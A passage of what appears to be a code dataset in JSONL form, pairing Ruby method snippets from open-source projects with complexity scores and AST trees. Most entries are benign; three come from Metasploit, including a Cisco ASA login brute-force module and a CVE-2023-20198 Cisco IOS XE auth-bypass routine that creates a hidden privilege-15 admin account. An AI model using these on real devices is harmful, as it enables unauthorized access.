\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"str\",\"children\":[\"pur\"]}]},\"to_s\"]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"purpose\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[null,\"throw\",{\"type\":\"sym\",\"children\":[\"invalid_message_content\"]},{\"type\":\"str\",\"children\":[\"mismatched purpose\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"hash\"]}]}]}","id":"06fae5c3-8ab6-4394-ad80-296af72ee5b1"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/openid_connect/app/session/session_controller.rb","start_line":45,"raw_source":"def link_i18n(i18n_key, url)\n    text = translate i18n_key\n    html = text.gsub /\\[([^\\[\\]]+)\\]/, \"<a href=\\\"#{url}\\\">\\\\1</a>\"\n\n    html.html_safe\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"link_i18n\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i18n_key\"]},{\"type\":\"arg\",\"children\":[\"url\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"text\",{\"type\":\"send\",\"children\":[null,\"translate\",{\"type\":\"lvar\",\"children\":[\"i18n_key\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"html\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\[([^\\\\[\\\\]]+)\\\\]\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<a href=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]}]},{\"type\":\"str\",\"children\":[\"\\\">\\\\1</a>\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html\"]},\"html_safe\"]}]}]}","id":"67fa87ce-6fd0-46ff-ae3c-c01569365520"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/http/pretalx.rb","start_line":130,"raw_source":"def create_profile_info(submit_uri)\n            res = get_registration_step(submit_uri)\n\n            csrf_token = res.get_hidden_inputs.dig(0, 'csrfmiddlewaretoken')\n\n            fail_with(Msf::Module::Failure::Unknown, 'Could not found hidden inputs: creating profile info') unless submit_uri && csrf_token\n\n            data_post = Rex::MIME::Message.new\n            data_post.add_part(csrf_token, '', '', %(form-data; name=\"csrfmiddlewaretoken\"))\n            data_post.add_part('', 'application/octet-stream', '', %(form-data; name=\"avatar\"; filename=\"\"))\n            data_post.add_part(Rex::Text.rand_text_alphanumeric(10), '', '', %(form-data; name=\"name\"))\n            data_post.add_part(Rex::Text.rand_text_alphanumeric(10), '', '', %(form-data; name=\"biography\"))\n            data_post.add_part(%({\"availabilities\":[]}), '', '', %(form-data; name=\"availabilities\"))\n\n            send_request_cgi({\n              'method' => 'POST',\n              'uri' => normalize_uri(submit_uri),\n              'data' => data_post.to_s,\n              'ctype' => \"multipart/form-data; boundary=#{data_post.bound}\"\n            })\n          end","complexity_score":23.0,"ast_json":"{\"type\":\"def\",\"children\":[\"create_profile_info\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"submit_uri\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"get_registration_step\",{\"type\":\"lvar\",\"children\":[\"submit_uri\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"csrf_token\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_hidden_inputs\"]},\"dig\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"str\",\"children\":[\"csrfmiddlewaretoken\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"submit_uri\"]},{\"type\":\"lvar\",\"children\":[\"csrf_token\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Module\"]},\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"Could not found hidden inputs: creating profile info\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data_post\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"MIME\"]},\"Message\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data_post\"]},\"add_part\",{\"type\":\"lvar\",\"children\":[\"csrf_token\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"csrfmiddlewaretoken\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data_post\"]},\"add_part\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"application/octet-stream\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"avatar\\\"; filename=\\\"\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data_post\"]},\"add_part\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alphanumeric\",{\"type\":\"int\",\"children\":[10]}]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"name\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data_post\"]},\"add_part\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alphanumeric\",{\"type\":\"int\",\"children\":[10]}]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"biography\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data_post\"]},\"add_part\",{\"type\":\"str\",\"children\":[\"{\\\"availabilities\\\":[]}\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"availabilities\\\"\"]}]},{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"lvar\",\"children\":[\"submit_uri\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data_post\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"multipart/form-data; boundary=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data_post\"]},\"bound\"]}]}]}]}]}]}]}]}","id":"e4e6db9a-c831-479a-9f5e-9df23ac9fdd6"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/server/app/controllers/api/v1/schedule_syncs_controller.rb","start_line":49,"raw_source":"def validate_sync_status\n        return unless @sync.disabled?\n\n        render_error(message: \"Sync is disabled\",\n                     status: :failed_dependency)\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_sync_status\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@sync\"]},\"disabled?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"render_error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"Sync is disabled\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"failed_dependency\"]}]}]}]}]}]}","id":"d4500f2d-b6d9-43f9-aefa-6add5784bffc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/project/settings/main.rb","start_line":50,"raw_source":"def expand_visibility_project_features_permissions(&block)\n            expand_content('visibility-features-permissions-content') do\n              VisibilityFeaturesPermissions.perform(&block)\n            end\n          end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"expand_visibility_project_features_permissions\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expand_content\",{\"type\":\"str\",\"children\":[\"visibility-features-permissions-content\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"VisibilityFeaturesPermissions\"]},\"perform\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}","id":"603129b0-6e34-4087-a708-9e2d9a0f159f"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/redundant_parentheses.rb","start_line":54,"raw_source":"def ignore_syntax?(node)\n          return false unless (parent = node.parent)\n\n          parent.type?(:while_post, :until_post, :match_with_lvasgn) ||\n            like_method_argument_parentheses?(parent) || multiline_control_flow_statements?(node)\n        end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"ignore_syntax?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parent\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"parent\"]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"type?\",{\"type\":\"sym\",\"children\":[\"while_post\"]},{\"type\":\"sym\",\"children\":[\"until_post\"]},{\"type\":\"sym\",\"children\":[\"match_with_lvasgn\"]}]},{\"type\":\"send\",\"children\":[null,\"like_method_argument_parentheses?\",{\"type\":\"lvar\",\"children\":[\"parent\"]}]}]},{\"type\":\"send\",\"children\":[null,\"multiline_control_flow_statements?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}]}","id":"4e28ea6e-1444-4d94-a263-0beab0de4458"}
{"repo_name":"identity_cache","file_path":"./repos/identity_cache/lib/identity_cache/cached/recursive/association.rb","start_line":44,"raw_source":"def write(record, association_target)\n          record.instance_variable_set(records_variable_name, association_target)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"write\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]},{\"type\":\"arg\",\"children\":[\"association_target\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"instance_variable_set\",{\"type\":\"send\",\"children\":[null,\"records_variable_name\"]},{\"type\":\"lvar\",\"children\":[\"association_target\"]}]}]}","id":"b8a00bd5-adfe-41b3-8843-5d6a9ceca11a"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/spec/connect_api/testflight/testflight_stubbing.rb","start_line":61,"raw_source":"def stub_beta_feedbacks_delete\n        stub_request(:delete, \"https://appstoreconnect.apple.com/iris/v1/betaFeedbacks/987654321\").\n          to_return(status: 200, body: \"\", headers: {})\n      end","complexity_score":2.5,"ast_json":"{\"type\":\"def\",\"children\":[\"stub_beta_feedbacks_delete\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stub_request\",{\"type\":\"sym\",\"children\":[\"delete\"]},{\"type\":\"str\",\"children\":[\"https://appstoreconnect.apple.com/iris/v1/betaFeedbacks/987654321\"]}]},\"to_return\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[]}]}]}]}]}","id":"a5d9e5c4-2bfb-4229-8943-14b3a1012e20"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/buffer/file_chunk.rb","start_line":186,"raw_source":"def self.generate_stage_chunk_path(path, unique_id)\n          pos = path.index('.*.')\n          raise \"BUG: buffer chunk path on stage MUST have '.*.'\" unless pos\n\n          prefix = path[0...pos]\n          suffix = path[(pos+3)..-1]\n\n          chunk_id = Fluent::UniqueId.hex(unique_id)\n          state = 'b'\n          \"#{prefix}.#{state}#{chunk_id}.#{suffix}\"\n        end","complexity_score":12.65,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"generate_stage_chunk_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"arg\",\"children\":[\"unique_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pos\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"index\",{\"type\":\"str\",\"children\":[\".*.\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pos\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"BUG: buffer chunk path on stage MUST have '.*.'\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"prefix\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"[]\",{\"type\":\"erange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"lvar\",\"children\":[\"pos\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"suffix\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pos\"]},\"+\",{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"int\",\"children\":[-1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"chunk_id\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"UniqueId\"]},\"hex\",{\"type\":\"lvar\",\"children\":[\"unique_id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"state\",{\"type\":\"str\",\"children\":[\"b\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prefix\"]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"state\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunk_id\"]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"suffix\"]}]}]}]}]}","id":"0f6c69e2-9bd2-4dc8-8b29-8447b4708118"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/exclusive_lease.rb","start_line":76,"raw_source":"def self.ensure_prefixed_key(key)\n      raise NoKey unless key.present?\n\n      key.start_with?(PREFIX) ? key : redis_shared_state_key(key)\n    end","complexity_score":6.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"ensure_prefixed_key\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"present?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"NoKey\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"start_with?\",{\"type\":\"const\",\"children\":[null,\"PREFIX\"]}]},{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"send\",\"children\":[null,\"redis_shared_state_key\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]}]}","id":"c0e87150-9b31-4289-a54d-e55cc7de9b00"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/kramdown/parser/atlassian_document_format.rb","start_line":370,"raw_source":"def gather_text(ast_node)\n        ast_node['content'].inject('') do |memo, node|\n          node['type'] == 'text' ? (memo + node['text']) : memo\n        end\n      end","complexity_score":10.3,"ast_json":"{\"type\":\"def\",\"children\":[\"gather_text\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ast_node\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ast_node\"]},\"[]\",{\"type\":\"str\",\"children\":[\"content\"]}]},\"inject\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"memo\"]},{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"[]\",{\"type\":\"str\",\"children\":[\"type\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"text\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"memo\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"[]\",{\"type\":\"str\",\"children\":[\"text\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"memo\"]}]}]}]}","id":"59e950ae-d826-45dd-a0d3-8d165b647aa8"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/command/actions.rb","start_line":31,"raw_source":"def load_tasks\n          Rake.application.init(\"rails\")\n          Rake.application.load_rakefile\n        end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"load_tasks\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rake\"]},\"application\"]},\"init\",{\"type\":\"str\",\"children\":[\"rails\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rake\"]},\"application\"]},\"load_rakefile\"]}]}]}","id":"b1c7a79a-7c98-4b94-a546-a493451b178a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/metrics/runtime_limiter.rb","start_line":12,"raw_source":"def initialize(max_runtime = DEFAULT_MAX_RUNTIME)\n        @start_time = monotonic_time\n        @max_runtime = max_runtime\n      end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"max_runtime\",{\"type\":\"const\",\"children\":[null,\"DEFAULT_MAX_RUNTIME\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@start_time\",{\"type\":\"send\",\"children\":[null,\"monotonic_time\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@max_runtime\",{\"type\":\"lvar\",\"children\":[\"max_runtime\"]}]}]}]}","id":"7ea88738-0366-4cfe-a1d0-78469a153c77"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/cisco_asa_asdm_bruteforce.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Cisco ASA ASDM Brute-force Login',\n        'Description' => %q{\n          This module scans for the Cisco ASA ASDM landing page and performs login brute-force\n          to identify valid credentials.\n        },\n        'Author' => [\n          'jbaines-r7'\n        ],\n        'References' => [\n          [ 'URL', 'https://www.cisco.com/c/en/us/products/security/adaptive-security-device-manager/index.html' ]\n        ],\n        'License' => MSF_LICENSE,\n        'DefaultOptions' => {\n          'RPORT' => 443,\n          'SSL' => true,\n          'BLANK_PASSWORDS' => true\n        },\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [IOC_IN_LOGS],\n          'Reliability' => []\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptPath.new('USERPASS_FILE', [\n          false, 'File containing users and passwords separated by space, one pair per line',\n          File.join(Msf::Config.data_directory, 'wordlists', 'http_default_userpass.txt')\n        ]),\n        OptPath.new('USER_FILE', [\n          false, 'File containing users, one per line',\n          File.join(Msf::Config.data_directory, 'wordlists', 'http_default_users.txt')\n        ]),\n        OptPath.new('PASS_FILE', [\n          false, 'File containing passwords, one per line',\n          File.join(Msf::Config.data_directory, 'wordlists', 'http_default_pass.txt')\n        ])\n      ]\n    )\n  end","complexity_score":16.9,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Cisco ASA ASDM Brute-force Login\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module scans for the Cisco ASA ASDM landing page and performs login brute-force\\n\"]},{\"type\":\"str\",\"children\":[\"          to identify valid credentials.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"jbaines-r7\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.cisco.com/c/en/us/products/security/adaptive-security-device-manager/index.html\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RPORT\"]},{\"type\":\"int\",\"children\":[443]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SSL\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BLANK_PASSWORDS\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptPath\"]},\"new\",{\"type\":\"str\",\"children\":[\"USERPASS_FILE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"File containing users and passwords separated by space, one pair per line\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Config\"]},\"data_directory\"]},{\"type\":\"str\",\"children\":[\"wordlists\"]},{\"type\":\"str\",\"children\":[\"http_default_userpass.txt\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptPath\"]},\"new\",{\"type\":\"str\",\"children\":[\"USER_FILE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"File containing users, one per line\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Config\"]},\"data_directory\"]},{\"type\":\"str\",\"children\":[\"wordlists\"]},{\"type\":\"str\",\"children\":[\"http_default_users.txt\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptPath\"]},\"new\",{\"type\":\"str\",\"children\":[\"PASS_FILE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"File containing passwords, one per line\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Config\"]},\"data_directory\"]},{\"type\":\"str\",\"children\":[\"wordlists\"]},{\"type\":\"str\",\"children\":[\"http_default_pass.txt\"]}]}]}]}]}]}]}]}","id":"ae1232a1-a65d-4980-a104-5ee2aff38c94"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/misc/cisco_ios_xe_rce.rb","start_line":184,"raw_source":"def do_auth_bypass(verbose: true)\n    admin_username = rand_text_alpha(8)\n    admin_password = rand_text_alpha(8)\n\n    # Leverage CVE-2023-20198 to run an arbitrary CLI command and create a new admin user account.\n    unless run_cli_command(\"username #{admin_username} privilege 15 secret #{admin_password}\", Mode::GLOBAL_CONFIGURATION)\n      fail_with(Failure::UnexpectedReply, 'Failed to create admin user')\n    end\n\n    begin\n      print_status(\"Created privilege 15 user '#{admin_username}' with password '#{admin_password}'\") if verbose\n\n      yield(admin_username, admin_password)\n    ensure\n      print_status(\"Removing user '#{admin_username}'\") if verbose\n\n      # Leverage CVE-2023-20198 to remove the admin account we previously created.\n      if !run_cli_command(\"no username #{admin_username}\", Mode::GLOBAL_CONFIGURATION) && verbose\n        print_warning('Failed to remove user')\n      end\n    end\n  end","complexity_score":19.4,"ast_json":"{\"type\":\"def\",\"children\":[\"do_auth_bypass\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"verbose\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"admin_username\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"int\",\"children\":[8]}]}]},{\"type\":\"lvasgn\",\"children\":[\"admin_password\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"int\",\"children\":[8]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_cli_command\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"username \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"admin_username\"]}]},{\"type\":\"str\",\"children\":[\" privilege 15 secret \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"admin_password\"]}]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mode\"]},\"GLOBAL_CONFIGURATION\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"Failed to create admin 